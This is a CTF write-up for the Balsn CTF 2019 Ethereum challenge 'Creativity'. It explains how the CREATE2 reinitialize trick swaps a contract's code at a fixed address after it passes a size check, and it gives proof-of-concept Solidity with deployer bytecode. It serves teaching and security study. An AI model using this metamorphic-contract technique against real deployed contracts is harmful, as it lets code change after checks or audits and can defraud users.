Balsn CTF 2019 - Creativity
Creativity
is one of my two smart contract challenges for Balsn CTF 2019. You may find the source files here.
Challenge
Be concise, or be creative.
- Type: Smart contract
- Solves: 1/720
- Keywords: CREATE2, CREATE2 reinitialize trick, EVM opcode
Solution
TL;DR
In this challenge, our goal is to emit the SendFlag
event. According to the CREATE2 reinitialize trick, we can deploy a contract that passes the check()
, self-destruct it, and then deploy a new contract at the same address with a different code. Let our new contract emit the SendFlag
event, which will be executed by the delegatecall from the game contract when execute()
is called.
Detailed Write-up
We are provided with the game contract source:
pragma solidity ^0.5.10;
contract Creativity {
event SendFlag(address addr);
address public target;
uint randomNumber = 0;
function check(address _addr) public {
uint size;
assembly { size := extcodesize(_addr) }
require(size > 0 && size <= 4);
target = _addr;
}
function execute() public {
require(target != address(0));
target.delegatecall(abi.encodeWithSignature(""));
selfdestruct(address(0));
}
function sendFlag() public payable {
require(msg.value >= 100000000 ether);
emit SendFlag(msg.sender);
}
}
Unfortunately, we don’t have that much ether to call sendFlag
directly, so let’s first try to follow the logic of the game contract:
- Deploy a contract with its code size not more than 4 bytes.
- Call
check()
with the address of the deployed contract as the parameter. - Call
execute()
to let the game contract make a delegatecall to our deployed contract.
The biggest problem is: How can we emit the SendFlag
event by executing at most 4 bytes of EVM bytecode? The short answer is no, we can’t. Or at least in the Constantinople hard-fork, the latest release of Ethereum when the CTF is held in Oct 2019.
In short, the reasons are:
- Directly emit an event with
LOG1
requires an event topic hash as a parameter, which is more than 4 bytes. (Ref) - To invoke any type of call to another contract, at least 6 parameters should be prepared on the stack, which requires at least 6 operations and thus 6 bytes of code. (Ref)
- Modifying the storage of the game contract is useless since there is a selfdestruct right after the delegatecall.
The CREATE2 Trick
The CREATE2 opcode proposed in EIP-1014 behaves identically the same as CREATE
, except the calculated address for the deployed contract. This discussion thread points out a critical security issue of CREATE2
, the so-called CREATE2
reinitialize trick, which allows a contract to change in-place after being deployed. You may find a detailed explanation in the link above.
Here is a simple PoC of the CREATE2
reinitialize trick (re-written from this contract). All contracts deployed by deploy(code)
through Deployer
will be deployed at the same address. However, the code of these contracts can be different.
pragma solidity ^0.5.10;
contract Deployer {
bytes public deployBytecode;
address public deployedAddr;
function deploy(bytes memory code) public {
deployBytecode = code;
address a;
// Compile Dumper to get this bytecode
bytes memory dumperBytecode = hex'6080604052348015600f57600080fd5b50600033905060608173ffffffffffffffffffffffffffffffffffffffff166331d191666040518163ffffffff1660e01b815260040160006040518083038186803b158015605c57600080fd5b505afa158015606f573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015609857600080fd5b81019080805164010000000081111560af57600080fd5b8281019050602081018481111560c457600080fd5b815185600182028301116401000000008211171560e057600080fd5b50509291905050509050805160208201f3fe';
assembly {
a := create2(callvalue, add(0x20, dumperBytecode), mload(dumperBytecode), 0x9453)
}
deployedAddr = a;
}
}
contract Dumper {
constructor() public {
Deployer dp = Deployer(msg.sender);
bytes memory bytecode = dp.deployBytecode();
assembly {
return (add(bytecode, 0x20), mload(bytecode))
}
}
}
To solve this challenge, this is our plan:
- Using the
CREATE2
reinitialize trick, deploy a contract with content0x33ff
, which isselfdestruct(msg.sender)
. - Call
check()
in the game contract to let our deployed contract pass the check. - Send an empty transaction to our contract to make it self-destructed.
- Again, using the
CREATE2
reinitialize trick, deploy a new contract at the same address that will executeemit SendFlag(0)
. - Call
execute()
in the game contract, it will then fire theSendFlag
event.
Misc
Congrats to @Sissel for being the only person who solved my two challenges during the CTF! I hope all of you enjoy this challenge and Balsn CTF.